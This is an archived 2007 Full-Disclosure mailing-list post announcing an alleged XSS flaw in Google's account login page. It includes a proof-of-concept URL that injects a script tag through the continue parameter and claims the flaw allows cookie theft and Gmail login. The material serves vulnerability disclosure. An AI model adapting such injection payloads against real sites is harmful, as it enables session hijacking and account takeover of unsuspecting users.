[Full-disclosure] Gmail 0day
- From: "Scripter Hack" <xss2root@xxxxxxxxx>
- Date: Thu, 8 Nov 2007 09:34:36 +0800
There is a html injection vulnerability in https://www.google.com.
It is very critical,you can get the cookie to login into gmail ore other
service.
POC:
https://www.google.com/accounts/ServiceLogin?service=mail&rm=false&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&passive=truel#";></script><script>alert('xss')</script>&1-=1
More:http://xss2root.blogspot.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
- Follow-Ups:
- Re: [Full-disclosure] Gmail 0day
- From: crazy frog crazy frog
- Re: [Full-disclosure] Gmail 0day
- Prev by Date: [Full-disclosure] [ GLSA 200711-10 ] Mono: Buffer overflow
- Next by Date: Re: [Full-disclosure] spammer wades into US Presidential race
- Previous by thread: [Full-disclosure] [ GLSA 200711-10 ] Mono: Buffer overflow
- Next by thread: Re: [Full-disclosure] Gmail 0day
- Index(es):
Relevant Pages
|
